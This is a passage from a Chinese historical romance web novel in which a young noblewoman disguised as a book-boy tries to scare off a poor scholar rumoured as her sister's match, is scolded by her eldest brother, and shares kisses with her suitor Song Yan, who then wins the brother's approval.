车夫擦了擦额头的汗,心里是直叹气,这位爷今天也不知道发的什么疯,将两位姑娘给偷带出来了,这万一叫大公子给发现了,他觉得自己要完啊,不然他现在回头,将两位姑娘送回去? 不行不行,那他不用待大公子发现了,现在就要完了。 闹了一路,总算是到了绣坊。 林景晟在车厢内等着,林诗芸将林诗意交给了春雨。 林诗意不愿意跟着一起去见识那位穷秀才,林诗 芸便叫春雨跟着她,她心情不好,愿意去哪便去哪,春雨都跟着,保证不会出事。 林诗意换回了女装,准备去书局逛逛。 林诗芸没换,还是一身书童的装扮,方便行事。 二人将马车留给了林诗意便走了。 此处离北街菜市并不远,二人溜达着便去了。 林诗意想着二人离开的方向直叹气,也不知道自己想去哪逛,便就又去了书局。 春雨寸步不离的跟着,姑娘叮嘱了她几句,她自是不能叫三姑娘出任何差错的。 那边厢宋晏一早便出来了,姚君远约了他吃茶,他则是约了林景行用午膳。 因为时间还早,他便去了姚君远约他的茶楼。 还未上去,便见姚君远正和郑子墨勾肩搭背。 自从姚君远坑了郑子墨一把,郑子墨是怎么看姚君远怎么都不顺眼。 这不,今日正好在茶楼碰上了,郑子墨见了他是哼了一声转身就走,姚君远哎哎叫了两声,哥俩好的揽过人家的肩膀道:“郑兄你怎么能这样呢,虽然我是坑过你一次不假,但是没我你这婚事能这么快成吗?你想想是不是这个道理?” 郑子墨刚想把姚君远的手臂给打下来,听了之后考虑了两秒,发现还真是,若不是他坑自己一把,自己还真不能下定决心求父亲找陛下赐婚,虽然跪了一日,但是值啊!这么说的话,这事他还真不能怨怼姚君远,他也算是促成自己和瑶儿婚事的一大助力。 郑子墨静默一瞬之后终于点头,姚君远又道:“咱们以后可就是连襟了,跟亲兄弟有什么区别?以后啊,咱俩是一伙的!” 言罢郑子墨还挑眉看向刚走进来的宋晏道:“咱们可不像某些人,亲事都还没定,说不定呢,他那点心思人家还不知道呢,啧啧。” 宋晏知道他是说自己,脸色丝毫未变,他心里得意的很。 不知道?呵,我们可是嘴都亲了! 但是宋晏不能明说啊,于是,宋晏咳嗽一声,从怀里掏出了前次自己流鼻血时林诗芸留下的手帕,装模作样的擦了擦唇角,道了句,“我二人心意相通,旁人又怎么会知道呢。” 言罢挥了挥自己手上的帕子,脸上写满了,“芸儿的”三个大字。 郑子墨和姚君远秒懂后齐齐翻了个白眼,二人忙不迭开始整理衣襟,一个在那“哎哎我荷包呢”,装模作样的摸了半天摸到了腰间的荷包,“哦,原来在这啊,” 哦,林诗瑶给的。 另一个则是咳嗽两声,跺了跺脚,嘴里嘟嘟囔囔的,“我这鞋啊,鞋底可真软,穿着是真舒服啊。” 哦,林诗瑶给做的鞋。 宋晏不甘示弱,又从怀里掏出一个手帕,不经意的扬了扬,那表情写满了,呵,炫耀吗,没带怕的。 * 林景晟这一路耳朵被林诗芸给叨叨出了茧子,他无奈道:“好好,一会儿哥哥带你去看斗蛐蛐,我与石安几个约在了酒楼,但是你可不准说话啊,他们几个看到你来了,铁定都围着你转的,你一个女儿家家的,” 林诗芸哼的一声打断他,“知道啦知道啦,我只看不说话,保证不露馅,三哥哥放心吧。” 言罢她便发现他们已经到了北街。 林诗芸哼了一声,换上了严肃的面容对林景晟道:“三哥哥,你只管在身后黑着脸,我来威胁那个书生!” 于是林景晟更无奈了,妹妹也,你要不要看看你自己那张脸,哪里就像是个能叫人害怕的了? 人见了你,没被迷住就是好的。 林景晟不说话,只是轻轻点了点头,他今日便是那护花使者,是必不能叫四妹妹受到委屈的,至于四妹妹说的要威胁人家的话,成吧,只要四妹妹高兴便好。 在七拐八拐找了又找二人热出了一身汗林诗芸终于快要放弃之时,他们终于发现了摆摊的穷书生! 按照春燕的描述,那书生二十五六岁的年纪,个子不高,一身灰色长袍立在摊位,身后挂满了他自己的书法作品,身前的桌子上则是挂了个代笔书信的牌子。 而那书生,在没有生意之时,总是会捧着书本或坐着或站着,反正沉浸在书本的世界里。 林诗芸走进,打量了书生两眼,撇撇嘴,果然是又老又穷。 丑倒是说不上,这书生长相还算可以,但是算不上英俊,衣袍已经洗的发白,一只手背到身后一只手紧握书本,似是十分专注。 林诗芸找他找的十分烦躁,啪的一下拍上了桌子,恶狠狠道:“穷秀才!可算叫我们找到你了!” 林景晟黑沉着一张脸,在林诗芸身旁抱着膀子十分严肃的盯着这个老男人。 春燕真的没说谎,若是父亲要将三姐姐嫁给这么个东西的话,不说三姐姐自己,他都是要闹上一番的。 今日他跟着出来就对了! 那秀才被吓了一跳,放下书本便见两位年纪不大的青年站在自己摊位前。 他看着来者明显不善的二人张了张嘴,还是抱拳道:“失礼了,不知二位公子找在下有何要事?” 他是看出来前头这位是个女公子的,但是既然人家穿了男装,他也便没有挑明。 他见两位相貌不俗,尤其是这位女公子,是他从未见过的貌美,于是语气也放的软和了些。 林诗芸才不管他是什么想法呢,她带着怒气又拍了一下桌子道:“穷书生!你且听好了!不要想着癞蛤蟆想吃天鹅肉!以后谁若问你可有婚配你都必须说已有婚配!听见了没有!” 庄子文一头雾水的看着眼前二人,支支吾吾道:“姑娘,不,公子所言何事?在下怎么没听懂?” 林诗芸却哼了一声,心里想着你不知道就对了,直接从怀里拿出来个粗布荷包扔在桌子上,“你不用听懂,只管按我的吩咐做,若是你同旁人说你尚未婚配,被我们知道了,呵!有你好果子吃!” “若你听话,这些银钱足够你支撑到秋闱,若是你不听,哼哼,我们有的是法子叫你考不成!” 林诗芸这威胁的话一出,庄子文直接变了脸色。 林景晟不想再叫四妹妹同他纠缠,扔下一句“你最好掂量掂量自己的本事!”便拉着林诗芸走了。 留下人家庄子文愣愣的看着二人的背影,只觉得莫名其妙的。 他是真没记得自己得罪过谁啊! 旁边的摊贩小心的走了过来道:“看样书生你是得罪人了,这二位穿着可不像是普通人家,” 小贩又羡慕的看了看桌子上鼓鼓囊囊的荷包道:“既然人家给了你银钱,不管说的是什么你且答应着,也省得你再出来摆摊了,多好啊,天上掉下钱呢这是,” 书生却是皱了眉头拿起了荷包,静默半晌之后同小摊贩说了句麻烦您帮我照看一下便急匆匆的跑走了。 第60章 林诗芸擦擦头上热出来的汗,觉得自己刚才的发挥甚是不错,思趁着刚才并没有什么漏洞,银钱也送出去了,这穷书生收了自己的钱了,还能不办事? 呵,明日她便差人来跟着这人,看他还敢不敢说自己没有婚配了! 林景晟一拍脑袋哎了一声,“不对啊,我爹还没说叫三姐姐嫁过去呢,咱们这威胁是不是太早了?” 林诗芸蹦起来也拍了一下他的脑袋,“你傻啊,咱们这叫未雨绸缪!若是叫大伯给定下来,那这事就晚了!” 林景晟那不太聪明的脑袋竟然也没发觉什么不对,他煞有其事的点点头,夸赞道:“还是四妹妹你聪明,” 林诗芸挑眉,表情甚为得意,“那当然了,走走,咱们赶紧去酒楼歇歇,可热死我了。” 于是,不太聪明的兄妹俩高兴的去了酒楼。 林景晟同狐朋狗友约的是醉仙楼,林诗芸也同林诗意约好了,她午时直接来醉仙楼找他们。 兄妹二人一路打打闹闹的,很快便到了醉仙楼。 而宋晏那头,暗卫已经将林诗芸今日的行踪告知了宋晏。 刚从茶楼出来的宋晏猛的 听到林诗芸去威胁一个书生时气的是一句话都没说出口。 半晌才道:“她穿着男装?” 暗卫不知道主子为何这般问,低头躬身道了句是。 宋晏的关注点在于,他没见过芸儿穿男装,竟然叫别的男子抢了先! 好半晌宋晏才嗯了一声摆摆手,“继续保护芸儿的安全。” 暗卫道了声属下遵命便跑没影了。 马车内的宋晏揉了揉脑门叫车夫出发。 林诗芸去威胁穷书生这事他倒不觉生气,也不感到惊讶,毕竟林诗芸一向与她三个姐姐亲近,做事虽然莽撞了一些,但是他可以理解。 虽然定安侯不可能将林诗意嫁给什么穷书生,但是奈何林诗芸看中她三姐姐啊,对于这事,她是一点子可能性都不想叫有的,必须扼杀在摇篮中才是。 宋晏无奈摇了摇头,罢了罢了,他不舍得的训斥她,但是一会有人能治她。 芸儿不乖,那可不能怪晏哥哥看着别人训你喽。 很快二人便来到了醉仙楼。 这冷不丁的进去,给林诗芸舒服的长舒一口气,醉仙楼是达官显贵最爱来的酒楼,物价高,那夏日的冰自然也舍得用。 大厅和角落都放了巨大的冰鉴,里头仿佛如开了空调一般舒爽。 林景晟进来便看到了几个好友,忙去打招呼去了。 几人都是认识林诗芸的,注意力都被今日林诗芸的书童打扮给惊呆了。 就林诗芸那一张脸,谁还能认不出啊。 几人咋舌,就这唇红齿白的小书童,难怪有人好男风呢,若真的有男子长成这般,他们断个袖也不是不行的。 几人也不去管林景晟了,纷纷围着林诗芸起哄,“芸儿妹妹今日怎得这个装扮?偷偷跟你三哥跑出来的?哎吆,芸儿妹妹都长这般大了,来叫声安哥哥,哥哥给芸儿妹妹买大肘子吃如何!” “去去!别听他的,什么大肘子!害不害臊!来来,芸儿妹妹可是想看哥哥们斗蛐蛐?哥哥这便大显身手给妹妹看看,” “去去,你才滚一边去,” 林景晟将四妹妹拉在自己身后,生气道,“你们一个个的全他妈滚蛋,吓到我四妹妹老子跟你们没完啊!赶紧的,不是说斗蛐蛐的,走走,” 他这话没说话,林诗芸正笑眯眯的躲在三哥身后看着几个小子呢,便听其中一个突然一本正经起来,朝着众人身后道,“世子殿下。” 另两人也看到了,忙躬身行礼。 林诗芸转过头一看,我草!宋晏怎么来了! 她眼珠子一转忙低下头给林景晟说了句她要上茅房转头便跑! 林景晟只当她是害羞于这幅模样被宋晏看到呢,跟宋晏问了声好便要去找她。 只是宋晏眼神轻飘飘的落到了林景晟身上,点点头,又看向慌不择路的往楼上跑的小身板挑了挑眉。 宋晏对林景晟道:“那是芸儿?” 林景晟抿着嘴停顿了些许才道,“回殿下,是我四妹妹。” 宋晏了然的点点头,也不再管几人,转身便要上楼,只是走了两步转过头却对林景晟道,“跟上来。” 林景晟一头雾水的跟了上去,留下几个二世祖看着上楼的二人一脸懵逼。 他们相互对视,心中有些不好的预感。 林诗芸本是要往后院跑的,但是在拐角看到一侧有上楼的楼梯便慌不择路的往楼上爬。 心里叨叨着宋晏千万别看到她便闷着头想找个空闲的雅间躲进去。 只是这刚上楼呢,便听见一侧雅间的门吱呀一声打开了。 从里头走出来一个身形颀长的身影,林诗芸被吓了一跳,待看清人脸之后便想跑,只是已经晚了。 林景行显然早就发现了她,冷笑了一声道:“跑,你跑一个试试!你看看被我抓到会不会打断你的腿!” 林诗芸虽然知道大哥这是在吓唬自己,但是却是停下了跃跃欲试的脚,低着头步子缓慢的往大哥身前走,半晌站定后,小声道:“大哥哥。” 林景行呵了一声,说话确实对着林诗芸身后的人说的,“谁给你的胆子叫你偷偷带着四妹妹出来的!还叫她穿着书童的衣裳!林景晟,我看你是皮痒了!” 林景晟和林诗芸二人也不敢偷看彼此,只低头站着,一个屁都不敢放的。 林景行冷哼一声,转身便往雅间走,带着怒气道:“还不给我滚进来!” 二人对视一眼,像是泄了气般,硬着头皮往雅间里去。 宋晏则是满面春风慢慢悠悠的进了隔壁雅间,现在还不是他出现的时候。 兄妹两个在雅间内低头排排站,林景行黑着脸站在二人身前,打量二人两眼直接道:“说吧,谁出的主意。” 林诗芸嘟嘟嘴,小心的看了大哥一眼老实回道,“是我出的主意,大哥哥别怪三哥哥,是我逼着三哥哥带我和三姐姐出来的。” 林景行被气的闭了闭眼睛,“你三姐姐也出来了!” 宋晏叫人传的口信没提三妹妹! 林诗芸点点头,眼看快到午时了,便诚实回答,“嗯……三姐姐去了书局,我们约了在这里碰头。” 林景行实在是舍不得打这个鬼灵精的四妹妹,伸出手来指着二人,“你们两个真是,” 然后啪的一下巴掌落到了林景晟的头上。 林景晟抱着头,想要反抗来者,又实在不敢,只好将头埋的更低了。 “你作为哥哥,带着妹妹胡闹,实在该打!” 这一巴掌给林诗芸吓了一跳,她忙要伸手去护三哥哥,却在看到大哥严肃的一张脸后缩了一下脖子,又硬着头皮道,“是我逼三哥哥带我们出来的,大哥哥要打打我,不能打三哥哥的。” 林景行更气了,“你以为我不敢吗!” 林诗芸撅了撅嘴,脑子里不断想该怎么办,最后瘪瘪嘴竟哭了出来,“大哥哥不问青红皂白就打人,大哥哥欺负人!呜呜~” 要论胡搅蛮缠,林诗芸还真是大师级别的,她眼泪汪汪且义愤填膺的梗着脖子朝着林景行控诉,给林景行都快气笑了。 他道:“好好,我不讲理,你且说说你出来干什么来了!若是你说不出个一二三来,你看你们两个今日回去跪不跪祠堂!” 林诗芸一听跪祠堂便吓坏了。 忙上前扯着林景行的胳膊眼泪汪汪的控诉道:“还不是大伯父乱点鸳鸯谱,对一个穷书生说要将闺女嫁给人家,正好当日春燕路过,被春燕听了进去,我三姐姐知道后便一直哭,我这不是担心我三姐姐才出来找那个穷书生的吗,” 林景行听着这乱七八糟的话,皱着眉问道,“你找那书生做何?” 林诗芸抽了抽鼻子,委委屈屈道:“我给了他银钱,威胁他不准说自己未婚配,若是有人给他介绍婚事,他必须说自己已经娶亲,这样万一大伯抽风要真的将三姐姐嫁他,那他都娶亲了,不就不能再接受婚事了吗。” 林景行听着林诗芸这天真烂漫的话语直接给气笑了,他想打她两下,又心疼这孩子为自家姐妹出头,最终伸出的手只重重地揉了揉林诗芸的脑袋。 林景行叹了口气,还是硬着口气道:“父亲有些事虽然糊涂,但这事关你三姐姐的婚姻大事,父亲应只是随口一说,当不得真的,你们这般胡闹,若是被父亲知晓,肯定要受惩戒的!” 林景行的语气还带着气闷,但是脸色已经和缓了很多。 林诗芸撅了撅嘴,小心看了眼大哥哥,见他脸色没那么难看了才晃了晃大哥哥的胳膊又道:“我只是不想让这件事存在万分之一的可能,我舍不得叫三姐姐嫁给穷书生,哼,我的姐姐这么好看,合该都嫁天底下最好的男子。” 在门口迟迟不敢进门的林诗意听到这里却猛地推门而入,一把扯 过林诗芸护在自己身后道:“大哥哥若是要打便打我吧,是我给三妹妹哭诉,三妹妹心疼我才这么做的,” 林景行见这闯进来便讨打的三妹妹严肃的点了点头,行吧,他倒成了恶人了,“还没轮到你,你倒乖觉,自己出现讨打,给我站到一边去,我倒要看看你们三个今天是吃了什么熊心豹子胆!” 林诗芸不禁扶额,好家伙,这本来都要哄好了,这三姐姐一进来大哥哥又来气了…… 林诗芸赶紧去扯三姐姐,叫她不要再说话了,只是她这边还没张开嘴呢,便见一男子突然闯了过来。 门口的护卫拦着他,男子手里拿着一个荷包,跑的上气不接下气的,看到屋内的林诗芸和姚君远时顿时松了口气,大声道:“姑娘的荷包落在庄某的摊位上了,还请姑娘拿回去!” 林诗芸听到动静转过去一看,他妈的,不是那个穷书生又是谁。 她忙将林诗意往身后拉,生怕这穷书生真的对三姐姐一见钟情。 她转头跟林诗意递了颜色,林诗意收到之后便躲到雅间最里头的屏风后了。 林景行狠狠的瞪了惹事的林诗芸和林景晟一眼,又对护卫使了眼色,穷书生终于被放了进来。 庄子文顿时松了口气,忙将荷包递了过去,“姑娘,还请姑娘收回去,无功不受禄,至于姑娘所要求之事,庄某定竭尽所能。” 在林景行严厉的目光中,林诗芸讪讪接过荷包,想讥讽两句,迫于林景行的威慑又没敢。 林景行轻斥,“还敢胡闹,还不赶紧退下!” 林诗芸哦了一声,和林景晟两个老实退到林景行身后。 林景行抱拳对庄子文行礼道:“舍弟舍妹不懂事,对兄台所言请不必放在心上,在这,林某替兄妹道歉。” 庄摆摆手道:“舍妹天人之姿天性纯真,庄某知晓此中必有误会,林兄多虑了,物归原主,庄某这便告辞了。” 言罢,庄子文朝林景行和众人点头,也不留恋,转身便走。 林景行见他举止大方不卑不亢,心生结交之意,便将他唤住亲自送他下楼。 雅间内的二人从屋内冒出了头,林景晟决定趁着大哥送人的间隙去找狐朋狗友说几句话。 林诗芸知道春雨肯定在下头等着呢,便指使护卫去跟春雨说一声,叫她回去便是。 护卫离开,她又在护栏处往下面看了两眼,见大哥哥同那穷书生说的正热络。 挑眉耸了耸肩,林诗芸准备进雅间,却不想隔壁雅间的宋晏却是出其不意地开了门,一把将她给扯了进去,接着便将她按在门框上。 宋晏眼睛微眯,眼神危险的看着她,挑眉道,“躲我?” 林诗芸咳嗽两声,不敢去看宋晏,支支吾吾的还没说出来话,便被宋晏一下给吻了上来。 60-68 第61章 接吻这事吧,也是一回生二回熟。 但是林诗芸想到哥哥姐姐就在隔壁屋子,心里便有些别扭,于是就稍微反抗了一下。 也就推了推宋晏,还没真舍得用力。 只是宋晏瞬时便委屈上了。 哦,躲他就罢了,亲都不让了? 他那一双深情的眸子因为她的拒绝而变的可怜兮兮的,盯着林诗芸委屈巴巴道:“芸儿可是觉得晏哥哥拿不出手所以才躲着?也不让晏哥哥亲,难不成,芸儿要对哥哥始乱终弃?” 林诗芸听完一下便觉得自己对不住人家了,这死手,推什么推。 不过她确实是躲了不假,但她真没想始乱终弃啊。 毕竟晏哥哥这张俊脸实在难找,也就只有她自己能与之平分秋色了,但是人不能一直照镜子不是。 所以既然亲都亲了,她是不可能放弃晏哥哥的! 林诗芸心虚的睫毛都开始扑闪,她不敢看宋晏,咬着唇,支支吾吾道:“没有,我是想跟晏哥哥亲亲的,就是,就是我姐姐在隔壁,一会看到我,再看出什么来……” 她看过的话本子上都写了的,亲完嘴巴是会过于红一些,什么面色涨红嘴唇红肿,是会被瞧出来的。 宋晏低头看着她,唇不经意的扫过她的耳朵,林诗芸觉得痒痒的,心里也涨涨的,身体还有些发热。 她推了推宋晏,看了他一眼撅着嘴巴道:“下,下次再亲好不好,只剩你我二人的时候。” 宋晏开心坏了,芸儿说下次亲,那下次一定亲个够! “那下次芸儿乖乖叫哥哥亲好不好,以后也不准躲哥哥了,答应晏哥哥,好不好。” 林诗芸乖乖点头,又皱着眉头看着自己身上的衣裳解释道:“我不是故意躲晏哥哥的,你看我一身衣裳,太丑了……” 见心上人不都是得好好打扮的吗?上辈子电视上都是这么演的,女孩子都是打扮的漂漂亮亮的出门约会。 谈恋爱嘛,得拿出真情实意来谈啊。 林诗芸想了想,为了赶紧回去,她还得做些什么才行。 于是她双手主动攀上了宋晏的脖颈,踮起脚尖,轻轻亲了亲他的唇,笑眯眯哄道:“晏哥哥,那我可以回去了吗?我怕出来久了,三姐姐出来找我。” 宋晏被林诗芸的主动哄的欢喜极了,他嗯了一声,可看着林诗芸水润娇艳的唇,还是没忍住,低头又吻了上去。 这次是轻轻的吻,他打开了她的唇瓣,只短暂的触碰到她的舌尖便将人放开。 林诗芸轻轻推了推,皱着眉头看着宋晏,宋晏才终于放开了她,她麻利的转身开门跑了出去。 她往楼下看了一眼,大哥果然还在门口同那人寒暄,轻舒口气,摸了摸自己还在发烫的脸,却又听到了身后传来的一声轻笑。 林诗芸撅着嘴转过头朝宋晏哼了一声,这才推门进入雅间。 狗男人!敢笑话她! 宋晏抱着膀子挑着眉,看着芸儿将门关上,心情颇为不错的用手摩挲了两下嘴唇,似乎是在回味刚才的吻,心满意足的转身进屋了。 林诗芸有些做贼心虚,她脸上还是有些发烫的,忙坐下给自己倒了杯凉茶,还将自己的身子往冰鉴的方向挪了挪,林诗意见她如此,只以为她又跟着林景晟跑下去才上来,叫她喝慢一些。 趁着大哥哥没回来,林诗意便问林诗芸到底出了何事。 林诗芸和盘托出,林诗意点点头,想着今日在书局发生的事情,竟然也红了脸。 半晌她对林诗芸道:“这事便到此为止了,大哥哥都那般说了,爹爹应该不会将我随意嫁给那人,谢谢你啊四妹妹,为了我你才被大哥训斥,我,” 林诗芸佯装生气道:“三姐姐说什么呢,咱们是什么关系,亲姐妹啊!你这样说我就要生气了啊!” 林诗意抿着嘴不住的点头,心里一阵感动。 又想到另一人答应她的事情,眼神闪了闪,她嘴巴张了又张,最后还是决定不说了。 嗯……至少现在不能说。 不是她故意瞒着四妹妹,而是这事,这事情实在叫人难以启齿,罢了,之后再告知四妹妹吧。 这边姐妹俩刚谈完心,林景行便提溜着林景晟回来了。 林景行心情还算不错。 关于庄子文这人,他其实早有耳闻,如今误打误撞叫他碰到真人,一番交谈下来,他深觉此人确实值得结交。 他打算供庄子文科考。 当然了,他不会贸然出面。 他们同时参加秋闱,他还想看看,这位时运不好的天才,如今到底如何。 庄子文是远近闻名的秀才,素有神童之称,可惜十八岁那年要参加秋闱时,母亲去世他须守孝三年,再一次准备参加秋闱时父亲又去世,又是守孝三年,如今二十四岁,这才能再一次的参加秋闱。 他已经错过了两次了,从如日中天的秋闱热门,到现在无人问津的穷酸书生,不少人都质疑他的能力和运气。 但是庄子文不觉得,他本性不错,一直努力上进用功读书,从不懈怠,他觉得那些过往都是老天爷对 他的磨砺。 天降大任于斯人,必先苦其心志,他懂得。 所以,他一直在苦中作乐。 任何时间和场所,都可以成为他读书之地,不为外物所打扰,他乐在其中。 安排了人去照顾庄子文的生意,林景行便上了楼。 彼时林诗芸已经从宋晏那个雅间里出来了。 小嘴被宋晏亲的红彤彤的。 林景行虽没有妻妾,但他身为男子,避火图还是看了一些的。 他一见林诗芸那涨红的脸颊红润又有些肿的嘴唇便知晓是因为何事。 林景行咬着牙,也来不及教训这三个胆大包天偷偷出门的,便径直去了隔壁雅间去找宋晏算账去了! 当然,他还怕三个小的饿肚子,尤其是林诗芸这个贪吃的,便叫她们先用膳。 自己则是带着怒气去赴宋晏的约。 其实宋晏今日本就是来摊牌的。 他知晓家人对林诗芸的重要性,尤其是几个哥哥姐姐。 所以,宋晏在取得了岳父大人的好感之后转头便将即将入仕的林景行给约了出来。 林景行身为世子,身上责任重大,肩负着定安侯府的传承和希望。 其本人也在几人弟弟妹妹心中分量极重,且十分权威,不然林诗芸也不会见了他跟老鼠见了猫似的。 所以,宋晏在林景行一进门,便躬身行了大礼。 林景行对于他的糖衣炮弹只面无表情的听着,不纳妾发重誓这些郑子墨和姚君远都干过的的事情宋晏自然也说了,林景行的表情一直淡淡的。 只是后来在宋晏提出会在大婚前,将他名下所有的房产田地铺子还有钱庄的存款都转移到林诗芸名下之时,林景行的表情终于松动了些。 这个端王世子。 为了娶他最疼爱的妹妹,还真是下了血本啊。 林景行挑眉道:“承蒙世子抬爱小妹,只是此事事关重大,您自己能做的了主?您名下的产业可不是小数,您不怕王爷或者陛下知晓此事会责怪与您?万一他们再将这事怨怼到芸儿身上……” 宋晏摇头:“端王府的产业更甚,我名下这些产业听着庞大,其实连端王府产业的十分之一都不到,父亲和皇伯父看不上的。我之所以说这些,便是向大哥表示我的诚意,希望大哥在长辈面前能替我美言几句。我心悦芸儿,她珍视亲人,我自然也希望能得到大哥和众位亲眷的认可。” 嗯,这便叫上大哥了。 林景行听后心里是极为舒服的。 他知道,宋晏想娶芸儿,只是陛下一句话的事,他如此,也只是因为他爱重芸儿,不想叫她受委屈罢了。 林景行挑挑眉,喝了口茶道:“话虽如此,可作为家人,我们一直是希望芸儿可以肆意而活的,世子以后是要继承端王府的,这,若是陛下命您娶侧妃纳妾,皇命难为……” 宋晏摇摇头,苦笑道:“大哥不懂,我自小便厌恶父亲同母亲之间的纠葛,尤其父亲那一屋子的女人,早就同皇伯父表明了立场,皇伯父和太子哥哥也都是理解我的,” 一番交谈下来,林景行对宋晏已经变了态度。 不错,四妹妹嫁宋晏也不错。 这端王解散了后院,没多久便离京追妻去了,若四妹妹嫁进去,还真没长辈所能带来的烦恼。 公婆都不在,这日子不要太逍遥啊。 但是若是他们再和好了呢?端王再次开始充盈后院了呢? 他难道能为了芸儿搬出去住? 宋晏最后从怀里掏出个房契来,林景行打眼一瞧,好家伙,是他们侯府隔壁的院子。 难怪隔壁陈大人前阵子满面春风的搬走了,原来是被宋晏给高价买下来了。 隔壁是三进的宅院,虽然不大。 但若是宋晏和林诗芸二人居住,倒是够住了。 宋晏表示,大婚后芸儿不想住王府,我们便搬过去,再开个角门,芸儿回娘家也方便一些。 瞧瞧,多么善解人意啊。 闺女成婚后便养在自己眼皮子底下,这事他们做梦都能笑醒。 不错。 宋晏果真不错。 * 这日偷跑出门的三人虽说被林景行训斥了一番,但是作为大哥,他到底没舍得处罚三人。 只勒令三人尤其是林诗芸和林景晟不准在惹事了。 林景行业决定将此事瞒下,主要是四妹妹刚挨完揍,他这么疼爱妹妹,自然不能眼睁睁的再见林诗芸挨揍了。 林景行的决定叫三人高兴坏了。 林诗芸乐的直点头,忙抱着大哥的胳膊表示以后绝对不会惹事了,至少大哥哥秋闱之前她都老实的待在府里。 秋闱在八月中旬,如今马上七月了,秋闱已经进入倒计时的状态。 不光林诗芸,一进入七月,整个定安侯府都处于战备状态。 这跟后世的高考是同样的道理。 只要林景行在府上,从主子到下人都会很安静,只为他专心读书,备战秋闱。 因为天气太热,书院已经放了假,林景行几日去一次老师那,平时多数都是在家中做些前些年的考题。 林诗芸也很老实,每日她不是在自己院里,就是在几个姐姐那里,只是往三姐姐那跑了两趟之后,她便发现三姐姐有些奇怪。 主要表现在,三姐姐时不时会傻笑,看书时会脸红,有时突然便紧张兮兮的要回自己院子。 于是,在一日晨起后林诗芸早膳也没用便直奔林诗意的院子。 这一下便扑了林诗意个措手不及,她慌忙的藏信的时候,被林诗芸给逮到了。 林诗芸惊呆了! 亲姐姐也!这可是情信啊! 第62章 林诗芸震惊的看着手上的情信,差点叫出声来,林诗意眼疾手快,忙去捂住了她的嘴。 林诗意用空闲的另一只手打了林诗芸还捏着信纸的手两下,林诗芸后知后觉松了手,林诗意才将信纸给拿了回来。 林诗意生气的看着林诗芸,威胁道:“不准发出声音!不然姐姐还打你!” 林诗芸眨巴着眼睛,头点的跟拨浪鼓似的,林诗意这才松开了捂着林诗芸的嘴。 林诗芸内心巨震惊的,这还是她那个平日里极为谨慎的三姐姐吗? 不是被夺舍了吧?三姐姐怎么就敢与人私相授受呢?还私定终身? 这是私定终身吧?她明明看到了信那句待吾秋闱高中那日,便是吾提亲之时。 谁啊这是?这么有种啊?堂而皇之的给侯府千金写情信! 而且这人连举子也不是,三姐姐是怎么看上的呢? 林诗芸难以置信的看着林诗意,林诗意轻咳两声掩饰尴尬,心中也不过多思趁,决定向林诗芸坦白。 毕竟这事一直憋在她心里,上次在外头她就想告诉林诗芸的,但没好意思,如今叫四妹妹碰到了也好。 林诗意清了清嗓子道,“你想问什么,都问吧。” 林诗芸吞了吞口水,眉头紧紧的皱在一处,一脸严肃的望着林诗意道:“三姐姐,你知道你在做什么吗?你,你知道这事万一被大伯和大伯母知道的后果吗?” 林诗意向来是循规蹈矩小心翼翼的过活,哪里做过出格的事情了。 三个姐姐,大姐林诗瑶脾气大嘴巴毒,刀子嘴豆腐心,却是姐妹四个里头最有担当的那个,一直护着三个妹妹。 二姐林诗情是个极为规矩的世家女,知书达理温柔贤惠,是姐妹几个里头最沉稳的那个。 三姐林诗意,同林诗芸一样庶女出身,同样的小心翼翼惯了,她没有林诗芸的嘴甜和好运,她只能谨慎胆小的跟在大姐姐身后。 她从来都是不敢冒头的,只是这一次,也太大胆了些。 林诗意扯了扯嘴角,“我还不是怕我爹胡乱将我给嫁出去了,” 林诗意低垂着眉眼,笑容有些发苦,“你我同 为庶女,我虽记在母亲名下,但是和大姐姐比,总是差一些的,当然了,我没想和大姐姐比,大姐姐对我这样好,” “只是,只是你知道的,我没有母族的帮衬,嫁妆除了公中出的,母亲再贴补一些,亲事自然也不会嫁的太高” 其实林诗芸面临同样的问题。 林诗芸有些不明白嫁人跟嫁妆的关系,她觉得便是公中出的嫁妆也够她们锦衣玉食一辈子了。 她也从未考虑过嫁妆一事,没有她可以自己挣啊,作何要杞人忧天的。 林诗意看着皱着眉头不知在想些什么的林诗芸笑道:“这人挺好的,家世不低,你可还记得魏静儿,他便是魏静儿的二哥,我们在书局见过一次,后来他每日都去书局偶遇我,那日再次遇到,他说对我一见钟情,我便叫他中举那日来府上提亲了。” 魏静儿林诗芸当然记得,礼部侍郎的小女儿,同她们是同窗,三姐姐同她关系一向不错。 林诗芸张了张嘴,不知道该说些什么,林诗意只是笑了笑,继续说着两个人认识的经过。 原是除了第一次姐妹两个正大光明出来,林诗意在书局偶遇了这位清瘦的书呆子魏承泽之后,魏二便对林诗意一见钟情,其母亲更是来参加了林诗意的及笄礼。 他对林诗意的那点心思,一家人是没有不知的,连那后院的大黄狗都知道二公子有了心上人,想的是每日茶不思饭不想的。 这话说的有些夸张了。 其实魏二是有数的,即使思念佳人,他也未曾放下书本。 他知道自己必须创造机会来偶遇林诗意,于是便每日抽出一个时辰来等在书局,一边温书一边等人。 他身份不低,出手也大方,书局之人对他的每日出现也都已经习以为常。 终于皇天不负有心人,在那一个晴朗的夏日,又叫他等到了林诗意。 彼时的林诗意正因为穷书生一事有些伤感。 她觉得若是爹爹将她放在心上,便是连开玩笑都不会那般开的,随随便便将女儿的婚事挂在嘴上,哪里是将她的未来当一回事了。 林诗意有些伤心,便叫春雨去雅座休息,自己去翻找书本去了。 春雨是想一直跟着她的,但是她看林诗意心情不好,应是想一个人静静的,便老实的等在一旁,她站在书架最外头,叮嘱林诗意若是有事情便唤她,她马上便过去。 林诗意也只叫她放心,她只是去找几本书便出来。 书架很多,又宽又高。 林诗意走走看看,随意拿出一本书翻看起来。 非常巧,这是一本叫《嫁庶女》的话本子,里头的女主庶女出身,却因为父亲一句酒后的玩笑话,嫁给了一个穷秀才,自此开始了悲苦的婚姻生活 或许是情况有些许的相同,只看了个开头,林诗意竟然悲伤的掉下了眼泪。 魏承泽便是这个时候过来的。 林诗意一进门他便看到了。 但是因为丫鬟也在,他便没有贸然上前打扰。 在看到林诗意又进书架找书,而丫鬟留在外头之后,魏承泽才怀着激动忐忑的心情来寻找林诗意的身影。 只是叫她没有想到的是,他找到她的时候,正好看到她在伤心流泪。 美人落泪,魏承泽只觉得心疼,好半晌他才鼓起勇气走到了林诗意的身前,轻轻的将手中的帕子递了过去。 林诗意看着凭空出现的帕子,她像是只受了惊的小鹿般迟疑的抬眸看向来人。 这梨花带雨的模样,叫魏承泽的一颗心脏猛的一跳,真好看啊,他呆呆的看着她,脑海里只剩下这句话。 